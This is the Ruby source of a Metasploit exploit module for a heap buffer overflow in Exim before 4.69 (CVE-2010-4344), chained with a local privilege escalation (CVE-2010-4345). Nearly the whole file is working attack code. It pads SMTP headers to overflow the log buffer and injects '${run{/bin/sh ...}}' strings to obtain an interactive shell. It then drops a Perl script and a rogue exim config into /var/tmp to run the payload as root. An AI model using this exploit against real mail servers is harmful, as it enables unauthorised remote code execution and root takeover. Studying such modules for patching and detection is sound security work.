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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Smtp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Exim4 string_format Function Heap Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a heap buffer overflow within versions of Exim prior to
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        version 4.69. By sending a specially crafted message, an attacker can corrupt the
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        heap and execute arbitrary code with the privileges of the Exim daemon.
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        The root cause is that no check is made to ensure that the buffer is not full
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        prior to handling '%s' format specifiers within the 'string_vformat' function.
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        In order to trigger this issue, we get our message rejected by sending a message
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        that is too large. This will call into log_write to log rejection headers (which
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        is a default configuration setting). After filling the buffer, a long header
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        string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL
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        FROM' command. By sending a second message, the string we sent will be evaluated
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        with 'expand_string' and arbitrary shell commands can be executed.
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        It is likely that this issue could also be exploited using other techniques such
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        as targeting in-band heap management structures, or perhaps even function pointers
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        stored in the heap. However, these techniques would likely be far more platform
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        specific, more complicated, and less reliable.
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        This bug was original found and reported in December 2008, but was not
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        properly handled as a security issue. Therefore, there was a 2 year lag time
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        between when the issue was fixed and when it was discovered being exploited
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        in the wild. At that point, the issue was assigned a CVE and began being
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        addressed by downstream vendors.
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        An additional vulnerability, CVE-2010-4345, was also used in the attack that
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        led to the discovery of danger of this bug. This bug allows a local user to
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        gain root privileges from the Exim user account. If the Perl interpreter is
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        found on the remote system, this module will automatically exploit the
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        secondary bug as well to get root.
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      },
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      'Author'         => [ 'jduck', 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2010-4344' ],
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          [ 'CVE', '2010-4345' ],
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          [ 'OSVDB', '69685' ],
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          [ 'OSVDB', '69860' ],
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          [ 'BID', '45308' ],
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          [ 'BID', '45341' ],
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          [ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],
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          [ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],
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          [ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],
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          [ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'       => 8192, # much more in reality, but w/e
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl ruby telnet',
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            }
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        },
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      'Platform'       => 'unix',
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      'Arch'           => ARCH_CMD,
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ],
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        ],
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      # Originally discovered/reported Dec 2 2008
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      'DisclosureDate' => '2010-12-07', # as an actual security bug
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),
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        OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),
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        OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])
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      ])
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    register_advanced_options(
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      [
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        OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
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        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
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        OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])
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      ])
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  end
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  def exploit
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    #
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    # Connect and grab the banner
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    #
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    ehlo = datastore['EHLO_NAME']
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    ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"
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    print_status("Connecting to #{rhost}:#{rport} ...")
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    connect
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    print_status("Server: #{self.banner.to_s.strip}")
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    if self.banner.to_s !~ /Exim /
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      disconnect
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      fail_with(Failure::NoTarget, "The target server is not running Exim!")
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    end
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    if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i
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      fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
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    end
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    ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
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    ehlo_resp.each_line do |line|
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      print_status("EHLO: #{line.strip}")
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    end
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    #
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    # Determine the maximum message size
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    #
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    max_msg = 52428800
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    if ehlo_resp.to_s =~ /250-SIZE (\d+)/
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      max_msg = $1.to_i
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    end
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    #
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    # Determine what hostname the server sees
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    #
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    saddr = nil
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    revdns = nil
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    if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/
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      revdns = $1
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      saddr = $2
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    end
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    source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')
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    print_status("Determined our hostname is #{revdns} and IP address is #{source}")
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    #
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    # Initiate the message
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    #
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    from = datastore['MAILFROM']
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    to   = datastore['MAILTO']
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    resp = raw_send_recv("MAIL FROM: #{from}\r\n")
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    resp ||= 'no response'
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    msg = "MAIL: #{resp.strip}"
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    if not resp or resp[0,3] != '250'
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      fail_with(Failure::Unknown, msg)
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    else
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      print_status(msg)
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    end
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    resp = raw_send_recv("RCPT TO: #{to}\r\n")
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    resp ||= 'no response'
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    msg = "RCPT: #{resp.strip}"
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    if not resp or resp[0,3] != '250'
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      fail_with(Failure::Unknown, msg)
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    else
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      print_status(msg)
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    end
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    resp = raw_send_recv("DATA\r\n")
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    resp ||= 'no response'
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    msg = "DATA: #{resp.strip}"
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    if not resp or resp[0,3] != '354'
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      fail_with(Failure::Unknown, msg)
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    else
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      print_status(msg)
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    end
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    #
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    # Calculate the headers
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    #
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    msg_len         = max_msg + (1024*256) # just for good measure
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    log_buffer_size = 8192
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    host_part = "H="
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    if revdns and revdns != ehlo
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      host_part << revdns << " "
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    end
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    host_part << "(#{ehlo})"
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    # The initial headers will fill up the 'log_buffer' variable in 'log_write' function
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    print_status("Constructing initial headers ...")
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    log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "
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    log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"
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    log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
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    # We want 2 bytes left, so we subtract from log_buffer_size here
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    log_buffer_size -= 3 # account for the nul termination too
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    # Now, "  " + hdrline for each header
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    hdrs = []
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    while log_buffer.length < log_buffer_size
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      header_name = rand_text_alpha(10).capitalize
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      filler = rand_text_alphanumeric(8 * 16)
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      hdr = "#{header_name}: #{filler}\n"
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      one = (2 + hdr.length)
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      two = 2 * one
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      left = log_buffer_size - log_buffer.length
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      if left < two and left > one
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        left -= 4 # the two double spaces
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        first = left / 2
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        hdr = hdr.slice(0, first - 1) + "\n"
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        hdrs << hdr
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        log_buffer << "  " << hdr
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        second = left - first
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        header_name = rand_text_alpha(10).capitalize
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        filler = rand_text_alphanumeric(8 * 16)
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        hdr = "#{header_name}: #{filler}\n"
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        hdr = hdr.slice(0, second - 1) + "\n"
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      end
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      hdrs << hdr
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      log_buffer << "  " << hdr
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    end
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    hdrs1 = hdrs.join
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    # This header will smash various heap stuff, hopefully including the ACL
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    header_name = Rex::Text.rand_text_alpha(7).capitalize
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    print_status("Constructing HeaderX ...")
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    hdrx = "#{header_name}: "
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    1.upto(50) { |a|
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      3.upto(12) { |b|
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        hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "
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      }
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    }
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    # In order to trigger the overflow, we must get our message rejected.
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    # To do so, we send a message that is larger than the maximum.
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    print_status("Constructing body ...")
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    body = ''
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    fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384
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    while(body.length < msg_len)
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      body << fill
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    end
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    body = body[0, msg_len]
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    print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")
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    sock.put hdrs1
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    sock.put hdrx
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    sock.put "\r\n"
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    sock.put body
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    print_status("Ending first message.")
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    buf = raw_send_recv("\r\n.\r\n")
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    # Should be: "552 Message size exceeds maximum permitted\r\n"
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    print_status("Result: #{buf.inspect}") if buf
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    second_result = ""
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260
    print_status("Sending second message ...")
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    buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
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    # Should be: "sh-x.x$ " !!
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    if buf
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      print_status("MAIL result: #{buf.inspect}")
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      second_result << buf
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    end
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    buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
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    # Should be: "sh: RCPT: command not found\n"
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    if buf
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      print_status("RCPT result: #{buf.inspect}")
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      second_result << buf
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    end
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    # Clear pending output from the socket
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    buf = sock.get_once(-1, 1.0)
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    second_result << buf if buf
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    sock.put("source /etc/profile >/dev/null 2>&1\n")
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    buf = sock.get_once(-1, 2.0)
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    second_result << buf if buf
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    # Check output for success
283
    if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/
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      print_error("Second result: #{second_result.inspect}")
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      fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')
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    end
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    resp = ''
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    if not datastore['SkipEscalation']
290
      print_status("Looking for Perl to facilitate escalation...")
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      # Check for Perl as a way to escalate our payload
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      sock.put("perl -V\n")
293
      select(nil, nil, nil, 3.0)
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      resp = sock.get_once(-1, 10.0)
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    end
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297
    if resp !~ /Summary of my perl/
298
      print_status("Should have a shell now, sending payload...")
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      buf = raw_send_recv("\n" + payload.encoded + "\n\n")
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      if buf
301
        if buf =~ /554 SMTP synchronization error/
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          print_error("This target may be patched: #{buf.strip}")
303
        else
304
          print_status("Payload result: #{buf.inspect}")
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        end
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      end
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    else
308
      print_status("Perl binary detected, attempt to escalate...")
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310
      token = Rex::Text.rand_text_alpha(8)
311
      # Flush the output from the shell
312
      sock.get_once(-1, 0.1)
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      # Find the perl interpreter path
315
      sock.put("which perl;echo #{token}\n")
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      buff = ""
317
      cnt  =
318
      while not buff.index(token)
319
        res = sock.get_once(-1, 0.25)
320
        buff << res if res
321
      end
322

323
      perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip
324
      print_status("Using Perl interpreter at #{perl_path}...")
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326
      temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
327
      temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)
328
      temp_eof  = Rex::Text.rand_text_alpha(8)
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330
      print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")
331

332
      data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]
333
      sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")
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335
      data_perl =	"#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]
336
      sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")
337

338
      print_status("Attempting to execute payload as root...")
339
      sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")
340
    end
341

342
    # Give some time for the payload to be consumed
343
    select(nil, nil, nil, 4)
344

345
    handler
346
    disconnect
347
  end
348
end
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